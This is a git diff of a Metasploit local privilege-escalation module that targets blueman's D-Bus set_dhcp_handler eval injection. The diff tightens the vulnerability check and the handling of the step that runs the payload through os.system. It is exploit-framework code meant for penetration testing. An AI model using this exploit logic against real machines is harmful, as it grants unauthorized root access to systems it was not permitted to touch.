diff --git a/modules/exploits/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.rb b/modules/exploits/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.rb index cf59dbd899..1b5931baa9 100644 --- a/modules/exploits/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.rb +++ b/modules/exploits/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.rb @@ -105,7 +105,13 @@ class MetasploitModule < Msf::Exploit::Local end vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available' - CheckCode::Detected + res = execute_python('') + unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)' + vprint_error 'Target is not vulnerable' + return CheckCode::Safe + end + + CheckCode::Vulnerable end def execute_python(code) @@ -119,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Local end def exploit - unless check == CheckCode::Detected + unless check == CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end @@ -144,7 +150,11 @@ class MetasploitModule < Msf::Exploit::Local res = execute_python "os.system(\"#{payload_path}&\")" vprint_line res - if res.include? 'SyntaxError: invalid syntax' + unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)' + fail_with Failure::NotVulnerable, 'The target is not vulnerable' + end + + if res.include? 'SyntaxError:' fail_with Failure::Unknown, 'Payload execution failed due to syntax error' end end